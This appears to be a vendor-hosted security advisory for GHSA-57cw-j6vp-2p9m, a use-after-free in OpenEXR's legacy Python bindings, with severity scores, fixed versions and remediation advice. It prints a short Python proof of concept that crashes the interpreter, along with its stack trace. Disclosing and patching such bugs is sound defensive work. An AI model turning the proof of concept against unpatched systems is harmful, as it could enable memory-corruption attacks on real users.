GHSA-57cw-j6vp-2p9m — openexr
HIGHGHSA-57cw-j6vp-2p9m is a high-severity (CVSS 7.5) Use After Free vulnerability in openexr. A fix is available for openexr — see the affected versions and patch details below.
OpenEXR has use after free in PyObject_StealAttrString
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-57cw-j6vp-2p9m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-57cw-j6vp-2p9m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
openexr🐍openexr🐍openexrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.
This bug was found with ZeroPath.
Details
The legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).
PoC
import OpenEXR, Imath
# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"
# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
def __new__(cls, v):
return int.__new__(cls, v)
def __del__(self):
# stir the heap to make the UAF obvious under PYTHONMALLOC=debug
_ = bytearray(1_000_000)
class PixelTypeProxy:
@property
def v(self):
return FreshInt(Imath.PixelType.FLOAT) # any small value is fine
f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")
running
PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
About to trigger UAF...
Fatal Python error: Segmentation fault
Current thread 0x00000001f209a140 (most recent call first):
File "/private/tmp/i/pt.py", line 24 in <module>
Current thread's C stack trace (most recent call first):
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _Py_DumpStack+0x44 [0x1058c00f8]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at faulthandler_fatal_error+0x160 [0x1058d2e00]
Binary file "/usr/lib/system/libsystem_platform.dylib", at _sigtramp+0x38 [0x1841796a4]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyObject_Vectorcall+0x58 [0x1056f5044]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at PyEval_EvalCode+0xf8 [0x105827130]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at run_mod+0xac [0x1058a2b60]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pyrun_file+0xa4 [0x1058a123c]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at _PyRun_AnyFileObject+0x50 [0x1058a0424]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file_obj+0xa4 [0x1058cfcd8]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_run_file+0x48 [0x1058cfa20]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_RunMain+0x354 [0x1058cef60]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at pymain_main+0xe8 [0x1058cf3f8]
Binary file "/opt/homebrew/Cellar/[email protected]/3.14.0/Frameworks/Python.framework/Versions/3.14/Python", at Py_BytesMain+0x28 [0x1058cf494]
Binary file "/usr/lib/dyld", at start+0x17bc [0x183d9eb98]
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
Segmentation fault: 11 PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py
Impact
Completely depends on the context. Typical memory stuff related to UAFs.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | openexr | ≥ 3.2.0&&< 3.2.5 | 3.2.5pip install --upgrade 'openexr==3.2.5' |
| 🐍PyPI | openexr | ≥ 3.3.0&&< 3.3.6 | 3.3.6pip install --upgrade 'openexr==3.3.6' |
| 🐍PyPI | openexr | ≥ 3.4.0&&< 3.4.3 | 3.4.3pip install --upgrade 'openexr==3.4.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update openexr to 3.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-57cw-j6vp-2p9m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-57cw-j6vp-2p9m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-57cw-j6vp-2p9m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-57cw-j6vp-2p9m in your dependencies?
O3 Security finds GHSA-57cw-j6vp-2p9m across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.